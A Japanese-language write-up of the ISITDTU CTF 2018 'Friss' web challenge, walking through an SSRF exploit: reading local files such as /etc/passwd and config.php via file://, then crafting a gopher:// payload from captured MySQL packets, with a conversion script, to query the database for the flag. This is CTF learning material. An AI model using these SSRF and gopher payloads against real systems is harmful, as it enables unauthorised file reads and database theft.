ISITDTU CTF 2018 - Friss
問題文
writeup
Stage1
適当なURLを入力しても、Only access to localhost
と弾かれる。
ソースを確認すると、末尾に以下のコメント文を発見。
<!-- index.php?debug=1-->
http://35.190.142.60/index.php?debug=1
にアクセスするとPHPソースを入手できた。
<?php include_once "config.php"; if (isset($_POST['url'])&&!empty($_POST['url'])) { $url = $_POST['url']; $content_url = getUrlContent($url); } else { $content_url = ""; } if(isset($_GET['debug'])) { show_source(__FILE__); } ?>
getUrlContent
の実装はわからない。
config.php
にて実装されているのだろう。
Stage2
いくつか入力を試していると、fileスキーマを指定することでローカルファイルにアクセスできた。
root@kali:Friss# curl http://35.190.142.60/ -s --data-urlencode "url=file://localhost/etc/passwd" <!DOCTYPE html> <html lang="en-US"> <head><title>REQUESTS PAGE</title> </head> <body> curl 'file://localhost/etc/passwd' <form action="index.php" method="POST"> <input name="url" type="text"> <input type="submit" value="CURL"> </form> root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin (snip) binhhuynhvanquoc:x:1001:1002::/home/binhhuynhvanquoc:/bin/bash mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false </body> (snip) <!-- index.php?debug=1-->
mysql
ユーザが存在することがわかる。
次に、includeしているconfig.php
を確認する。
root@kali:Friss# curl http://35.190.142.60/ -s --data-urlencode "url=file://localhost/var/www/html/config.php" <!DOCTYPE html> <html lang="en-US"> <head><title>REQUESTS PAGE</title> </head> <body> curl 'file://localhost/var/www/html/config.php' <form action="index.php" method="POST"> <input name="url" type="text"> <input type="submit" value="CURL"> </form> <?php $hosts = "localhost"; $dbusername = "ssrf_user"; $dbpasswd = ""; $dbname = "ssrf"; $dbport = 3306; $conn = mysqli_connect($hosts,$dbusername,$dbpasswd,$dbname,$dbport); function initdb($conn) { $dbinit = "create table if not exists flag(secret varchar(100));"; if(mysqli_query($conn,$dbinit)) return 1; else return 0; } function safe($url) { $tmpurl = parse_url($url, PHP_URL_HOST); if($tmpurl != "localhost" and $tmpurl != "127.0.0.1") { var_dump($tmpurl); die("<h1>Only access to localhost</h1>"); } return $url; } function getUrlContent($url){ $url = safe($url); $url = escapeshellarg($url); $pl = "curl ".$url; echo $pl; $content = shell_exec($pl); return $content; } initdb($conn); ?> </body> (snip) <!-- index.php?debug=1-->
$dbinit = "create table if not exists flag(secret varchar(100));";
より、flagはMySQLのテーブル内にあることがわかる。
また、getUrlContent
はcurlコマンドを呼んでいることがわかる。
Stage3
curlコマンドでMySQLに接続する方法は、過去のCTFにて出題があったためwriteupを参照する。
CTFWriteUps/README.md at master · reznok/CTFWriteUps · GitHub
他、以下のサイトを参照した。
SSRF To RCE in MySQL | FormSec | 逢魔网络安全实验室
MySQLサーバを立てて、同じDB名、ユーザ名およびテーブル名の環境を用意した上で、DB接続およびSELECT文を発行した際のパケットを採取し、gopherプロトコルの電文に落とし込めば良さそうだ。
1.環境準備
config.php
から得られた情報を元に、DB作成、ユーザ作成、テーブル作成を行う。
root@kali:Friss# mysql -u root Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 2 Server version: 10.1.29-MariaDB-6+b1 Debian buildd-unstable Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> create database ssrf; # DB作成 Query OK, 1 row affected (0.00 sec) MariaDB [(none)]> connect ssrf # DB接続 Connection id: 3 Current database: ssrf MariaDB [ssrf]> create table if not exists flag(secret varchar(100)); # テーブル作成 Query OK, 0 rows affected (0.03 sec) MariaDB [ssrf]> insert into flag(secret) values('this is flag'); # サンプルのレコード追加 Query OK, 1 row affected (0.00 sec) MariaDB [ssrf]> select * from flag; # 確認 +--------------+ | secret | +--------------+ | this is flag | +--------------+ 1 row in set (0.00 sec) MariaDB [ssrf]> create user ssrf_user; # ユーザ作成 Query OK, 0 rows affected (0.00 sec) MariaDB [ssrf]> grant all privileges on flag to 'ssrf_user'; # 権限付与 Query OK, 0 rows affected (0.00 sec)
2.テーブル参照プログラム作成
flagテーブルを参照するphpコードを作る。
<?php $hosts = "127.0.0.1"; $dbusername = "ssrf_user"; $dbpasswd = ""; $dbname = "ssrf"; $dbport = 3306; $conn = mysqli_connect($hosts,$dbusername,$dbpasswd,$dbname,$dbport); $result = mysqli_query($conn,"select * from flag;"); var_dump($result->fetch_all()); mysqli_close($conn); ?>
試しに実行すると、flagテーブルの内容が参照できた。
root@kali:Friss# php Friss.php array(1) { [0]=> array(1) { [0]=> string(12) "this is flag" } }
3.パケットキャプチャ
パケットキャプチャをスタートする。
root@kali:Friss# tcpdump -i lo -s 0 -w dump.pcap port 3306 tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
オプションの説明を備忘録として記載する。
- -i lo:ループバックインタフェースも対象にする。
- -s 0:キャプチャしたパケットを途中で切られないようにする。
- -w dump.pcap:dump.pcapにファイル出力する。
- port:MySQLの通信ポートである3306を指定する。
php Friss.php
を実行したあと、Ctrl+Cでキャプチャを停止し、wiresharkでdump.pcapを確認する。
追跡->TCPストリームで送信パケットを確認する。
以下が送信パケット。 1行目が認証パケット、2行目がselect文のパケット、3行目が切断パケットのようだ。
5c0000018da20a00000000c02d0000000000000000000000000000000000000000000000737372665f75736572000073737266006d7973716c5f6e61746976655f70617373776f726400150c5f636c69656e745f6e616d65076d7973716c6e64 140000000373656c656374202a2066726f6d20666c61673b 0100000001
4. gopherプロトコルで送信
以下のサイト内のスクリプトを使用して、gopherプロトコルの送信電文に変換する。
SSRF To RCE in MySQL | FormSec | 逢魔网络安全实验室
#!/usr/bin/dev python #coding:utf-8 def result(s): a = [s[i:i+2] for i in xrange(0, len(s), 2)] return "curl gopher://127.0.0.1:3306/_%" + "%".join(a) if __name__ == "__main__": import sys s = sys.argv[1] print result(s)
root@kali:Friss# python convGopher.py 5c0000018da20a00000000c02d0000000000000000000000000000000000000000000000737372665f75736572000073737266006d7973716c5f6e61746976655f70617373776f726400150c5f636c69656e745f6e616d65076d7973716c6e64140000000373656c656374202a2066726f6d20666c61673b0100000001 curl gopher://127.0.0.1:3306/_%5c%00%00%01%8d%a2%0a%00%00%00%00%c0%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%73%73%72%66%5f%75%73%65%72%00%00%73%73%72%66%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%15%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%07%6d%79%73%71%6c%6e%64%14%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%66%6c%61%67%3b%01%00%00%00%01
試しに自サーバに対して実行してみる。
root@kali:Friss# curl gopher://127.0.0.1:3306/_%5c%00%00%01%8d%a2%0a%00%00%00%00%c0%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%73%73%72%66%5f%75%73%65%72%00%00%73%73%72%66%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%15%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%07%6d%79%73%71%6c%6e%64%14%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%66%6c%61%67%3b%01%00%00%00%01 -s | cat ^ 5.5.5-10.1.29-MariaDB-6+b10FJ}[/u%S��-?�R%[~*R>}~~"*mysql_native_password.defssrfflagflagsecretsecret -���" this is flag�"r
自サーバのflagテーブルのレコードを取得できた!
いよいよ問題サーバに投入する。
せっかくなので画面で入力してみる。
ISITDTU{JUST_4_SSrF_B4B3!!}
フラグゲット!